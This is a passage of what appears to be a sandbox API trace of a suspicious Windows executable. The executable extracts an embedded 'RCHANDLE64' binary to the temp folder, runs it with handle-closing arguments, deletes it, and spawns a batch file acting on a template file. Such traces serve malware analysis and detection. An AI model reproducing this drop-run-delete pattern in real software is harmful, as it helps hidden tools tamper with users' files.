\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0125.071] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0125.071] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0125.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿD\x89¤Ûäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0125.071] GetLastError () returned 0x0 [0125.071] SetLastError (dwErrCode=0x0) [0125.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0125.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0125.071] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0125.071] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0125.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿD\x89¤Ûäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0125.071] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x80) returned 0x248238 [0125.071] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0125.071] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0125.072] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x248238) returned 0x80 [0125.072] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0125.072] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0125.072] GetCurrentProcess () returned 0xffffffff [0125.072] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0125.072] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0125.072] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0125.072] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0125.072] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0125.072] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0125.072] LockResource (hResData=0x43c648) returned 0x43c648 [0125.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x18) returned 0x2482c0 [0125.072] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0125.075] GetFileType (hFile=0x90) returned 0x1 [0125.076] WriteFile (in: hFile=0x90, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0125.292] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1000) returned 0x249808 [0125.292] WriteFile (in: hFile=0x90, lpBuffer=0x249808*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x249808*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0125.293] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249808 | out: hHeap=0x230000) returned 1 [0125.293] CloseHandle (hObject=0x90) returned 1 [0125.293] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0125.293] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x94, hThread=0x90, dwProcessId=0xfec, dwThreadId=0xff0)) returned 1 [0125.398] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0126.270] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0126.272] CloseHandle (hObject=0x94) returned 1 [0126.272] CloseHandle (hObject=0x90) returned 1 [0126.273] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x247808 | out: hHeap=0x230000) returned 1 [0126.273] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0126.273] ExitProcess (uExitCode=0x0) [0126.273] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2460c0 | out: hHeap=0x230000) returned 1 Process: id = "226" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x1ca5f000" os_pid = "0xfd8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 827 os_tid = 0xfdc [0125.860] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28f874 | out: lpSystemTimeAsFileTime=0x28f874*(dwLowDateTime=0xee72c760, dwHighDateTime=0x1d5d06a)) [0125.860] GetCurrentProcessId () returned 0xfd8 [0125.860] GetCurrentThreadId () returned 0xfdc [0125.860] GetTickCount () returned 0x116706f [0125.860] QueryPerformanceCounter (in: lpPerformanceCount=0x28f86c | out: lpPerformanceCount=0x28f86c*=26781255505) returned 1 [0125.862] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0125.862] __set_app_type (_Type=0x1) [0125.862] __p__fmode () returned 0x76be31f4 [0125.862] __p__commode () returned 0x76be31fc [0125.862] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0125.862] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0125.863] GetCurrentThreadId () returned 0xfdc [0125.863] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfdc) returned 0x60 [0125.863] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0125.863] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0125.863] SetThreadUILanguage (LangId=0x0) returned 0x409 [0125.863] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0125.863] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28f804 | out: phkResult=0x28f804*=0x0) returned 0x2 [0125.864] VirtualQuery (in: lpAddress=0x28f83b, lpBuffer=0x28f7d4, dwLength=0x1c | out: lpBuffer=0x28f7d4*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0125.864] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28f7d4, dwLength=0x1c | out: lpBuffer=0x28f7d4*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0125.864] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28f7d4, dwLength=0x1c | out: lpBuffer=0x28f7d4*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0125.864] VirtualQuery (in: lpAddress=0x193000, lpBuffer=0x28f7d4, dwLength=0x1c | out: lpBuffer=0x28f7d4*(BaseAddress=0x193000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0125.864] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28f7d4, dwLength=0x1c | out: lpBuffer=0x28f7d4*(BaseAddress=0x290000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x130000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0125.864] GetConsoleOutputCP () returned 0x1b5 [0125.864] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0125.864] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0125.864] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.864] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0125.864] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.865] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0125.865] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.865] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0125.865] _get_osfhandle (_FileHandle=0) returned 0x3 [0125.865] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0125.865] _get_osfhandle (_FileHandle=0) returned 0x3 [0125.865] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0125.866] GetEnvironmentStringsW () returned 0x584070* [0125.866] GetProcessHeap () returned 0x570000 [0125.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xaca) returned 0x584b48 [0125.866] FreeEnvironmentStringsW (penv=0x584070) returned 1 [0125.866] GetProcessHeap () returned 0x570000 [0125.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4) returned 0x580d28 [0125.866] GetEnvironmentStringsW () returned 0x584070* [0125.866] GetProcessHeap () returned 0x570000 [0125.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xaca) returned 0x585620 [0125.867] FreeEnvironmentStringsW (penv=0x584070) returned 1 [0125.867] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e774 | out: phkResult=0x28e774*=0x68) returned 0x0 [0125.867] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x0, lpData=0x28e780*=0x0, lpcbData=0x28e778*=0x1000) returned 0x2 [0125.867] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x4, lpData=0x28e780*=0x1, lpcbData=0x28e778*=0x4) returned 0x0 [0125.867] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x0, lpData=0x28e780*=0x1, lpcbData=0x28e778*=0x1000) returned 0x2 [0125.867] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x4, lpData=0x28e780*=0x0, lpcbData=0x28e778*=0x4) returned 0x0 [0125.867] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x4, lpData=0x28e780*=0x40, lpcbData=0x28e778*=0x4) returned 0x0 [0125.867] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x4, lpData=0x28e780*=0x40, lpcbData=0x28e778*=0x4) returned 0x0 [0125.867] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x0, lpData=0x28e780*=0x40, lpcbData=0x28e778*=0x1000) returned 0x2 [0125.867] RegCloseKey (hKey=0x68) returned 0x0 [0125.867] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e774 | out: phkResult=0x28e774*=0x68) returned 0x0 [0125.867] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x0, lpData=0x28e780*=0x40, lpcbData=0x28e778*=0x1000) returned 0x2 [0125.867] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x4, lpData=0x28e780*=0x1, lpcbData=0x28e778*=0x4) returned 0x0 [0125.867] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x0, lpData=0x28e780*=0x1, lpcbData=0x28e778*=0x1000) returned 0x2 [0125.867] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x4, lpData=0x28e780*=0x0, lpcbData=0x28e778*=0x4) returned 0x0 [0125.868] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x4, lpData=0x28e780*=0x9, lpcbData=0x28e778*=0x4) returned 0x0 [0125.868] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e77c, 